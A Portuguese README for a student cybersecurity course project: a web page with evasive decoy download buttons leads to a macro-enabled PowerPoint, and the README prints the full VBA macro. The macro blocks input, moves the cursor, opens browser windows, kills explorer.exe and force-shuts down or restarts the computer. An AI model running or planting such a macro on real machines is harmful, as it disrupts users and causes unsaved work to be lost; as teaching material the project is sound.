Este projeto faz parte de um curso voltado para os Princípios de Cibersegurança, cujo objetivo é demonstrar cenários simulados de ataques cibernéticos, além de realizar exercícios práticos utilizando tecnologias como HTML, CSS, JavaScript e VBA Macros no PowerPoint. O projeto aborda questões como segurança digital, ameaças online e conscientização dos participantes sobre os riscos presentes na internet.
Você pode acessar a página do projeto clicando no botão abaixo:
- Página Inicial:
O site foi criado para ser interativo e educacional. Ao acessar a página, o usuário é recebido com um botão principal: “Clique aqui para o Download do Arquivo”.
- Interação do Usuário:
Ao clicar no botão principal, o botão desaparece em forma de fumaça e é substituído por vários outros botões dispostos de maneira aleatória.
- Enganação Intencional:
Esses novos botões parecem oferecer a opção de download, mas ao tentar clicar neles, eles se movem rapidamente de forma aleatória para impedir que o usuário os clique. Isso foi feito para simular uma experiência de ataque frustrante ou enganosa, comum em cenários de engenharia social.
- Acesso ao Arquivo:
Somente um dos botões está fixo de forma minúscula e fornece o download do arquivo real, que é um arquivo PowerPoint (.pptm) contendo uma macro VBA que realiza simulações.
O botão de download real foi propositalmente disfarçado, colocado no canto inferior da tela e minimizado para dificultar sua localização.
Importante: Para acessar o conteúdo da simulação, o usuário deve baixar o arquivo PowerPoint e autorizar a execução das macros.
Este projeto foi desenvolvido com as seguintes tecnologias:
-
HTML5: A estrutura da página foi criada utilizando HTML5, a última versão da linguagem de marcação padrão para a criação de páginas web.
-
CSS3: O layout e o estilo visual foram implementados com CSS3, permitindo uma personalização sofisticada e responsiva.
-
JavaScript: A lógica interativa e os efeitos dinâmicos foram programados em JavaScript, proporcionando uma experiência de usuário avançada e imersiva.
-
VBA Macros: Utilizado no PowerPoint para criar uma simulação de ataque.
A estrutura de diretórios do projeto é organizada da seguinte forma:
fontesenai/
├── index.html # Página principal do projeto
├── styles.css # Arquivo de estilos CSS
├── script.js # Script JavaScript para a interação
├── README.md # Documentação do projeto
└── assets/ # Arquivos de mídia, imagens e ícones utilizados
├── 0.jpeg
├── 1.jpeg
├── 2.jpeg
├── 3.jpeg
├── 4.jpeg
├── 5.jpeg
└── Apresentasao-Ciber.pptm # Arquivo PowerPoint usado na simulação
- Ambiente Controlado
Acessar a Página: Aqui para abrir a página do projeto.
O arquivo PowerPoint contém macros VBA que simulam um ataque cibernético. É recomendado que o teste seja realizado em um ambiente controlado.
Habilitar Macros:
Após o download, o PowerPoint solicitará que você habilite as macros. É necessário adicionar a pasta onde o arquivo foi salvo como local confiável, caso contrário, as macros não serão executadas.
Execução da Macro:
A partir do slide 3 do arquivo PowerPoint, qualquer clique no slide aciona a macro. Isso simula um ataque, causando uma série de ações no sistema, como o movimento descontrolado do mouse, desativação do teclado, abertura de janelas e, por fim, a reinicialização ou desligamento do computador.
O objetivo deste projeto é educar e conscientizar os participantes sobre os riscos de segurança na internet. A simulação de um ataque mostra como um cenário realista pode ser perigoso e ilustra a importância da cibersegurança.
Abaixo está o código da macro VBA que simula o ataque:
' Importa as funções da biblioteca "user32" para mover o cursor do mouse
Declare PtrSafe Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
' Importa a função "Sleep" da biblioteca "kernel32" para adicionar um atraso em milissegundos
Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
' Importa a função "BlockInput" da biblioteca "user32" para bloquear as entradas do teclado e mouse
Declare PtrSafe Function BlockInput Lib "user32" (ByVal fBlockIt As Long) As Long
' Importa a função "GetSystemMetrics" da biblioteca "user32" para obter as dimensões da tela
Declare PtrSafe Function GetSystemMetrics Lib "user32" (ByVal nIndex As Long) As Long
' Importa a função "ShellExecute" da biblioteca "shell32.dll" para executar arquivos ou abrir URLs
Declare PtrSafe Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
' Sub rotina principal que simula o ataque
Sub ExecutarSimulacao()
' Bloqueia o teclado e o mouse para impedir interações
BlockInput True
' Faz o cursor do mouse se mover de forma descontrolada em um padrão circular
Dim i As Long
For i = 1 To 1000
' Calcula a posição do mouse baseada no cosseno e seno para criar o movimento circular
SetCursorPos (GetSystemMetrics(0) / 2) + 50 * Cos(i), (GetSystemMetrics(1) / 2) + 50 * Sin(i)
' Pausa de 1 milissegundo entre cada movimento do mouse para criar fluidez
Sleep 1
Next i
' URLs das imagens que serão abertas em novas janelas do Chrome
Dim urls As Variant
Dim j As Integer
urls = Array("https://raw.githubusercontent.com/D3Z33/fontesenai/main/assets/5.jpeg", _
"https://raw.githubusercontent.com/D3Z33/fontesenai/main/assets/4.jpeg", _
"https://raw.githubusercontent.com/D3Z33/fontesenai/main/assets/3.jpeg", _
"https://raw.githubusercontent.com/D3Z33/fontesenai/main/assets/2.jpeg", _
"https://raw.githubusercontent.com/D3Z33/fontesenai/main/assets/1.jpeg", _
"https://raw.githubusercontent.com/D3Z33/fontesenai/main/assets/0.jpeg")
' Abre cada URL em uma nova janela do Chrome, com um pequeno atraso entre cada uma
For j = 0 To UBound(urls)
' Abre o Chrome em uma nova janela maximizada com a URL correspondente
ShellExecute 0, "open", "chrome.exe", "--start-maximized --new-window " & urls(j), vbNullString, vbNormalFocus
' Pausa de 1200 milissegundos (1,2 segundos) entre a abertura de cada aba
Sleep 1200
Next j
' Pausa de 1,2 segundos antes de fechar o explorador de arquivos
Sleep 1200
' Fecha o explorador de arquivos do Windows para simular um impacto maior no sistema
Shell "taskkill /f /im explorer.exe", vbHide
' Escolhe aleatoriamente entre desligar ou reiniciar o sistema
Randomize
If Rnd < 0.5 Then
' Desliga o sistema imediatamente
Shell "shutdown -s -f -t 0", vbHide ' Desligar
Else
' Reinicia o sistema imediatamente
Shell "shutdown -r -f -t 0", vbHide ' Reiniciar
End If
End Sub
-
Execução Manual Não Recomendada: A simulação é programada para ser automática. Caso as macros não sejam executadas corretamente, a simulação não terá efeito.
-
Ambiente Seguro: Para evitar problemas, execute este teste em um ambiente seguro ou em máquinas virtuais.
-
Desempenho do Sistema: Durante a execução da macro, o sistema pode sofrer impacto no desempenho, como fechamento de aplicações e reinicialização do sistema.
-
Ícones de Tecnologias: Usei ícones para HTML5, CSS3, e JavaScript, que são as tecnologias principais usadas neste projeto.
-
Botão de Acesso: Um botão grande e claro que leva diretamente à página do projeto.
-
Estrutura do Projeto: Descrição da estrutura de diretórios para facilitar a compreensão do projeto.
-
Objetivo e Instruções: Uma seção clara sobre o propósito do projeto e como utilizá-lo.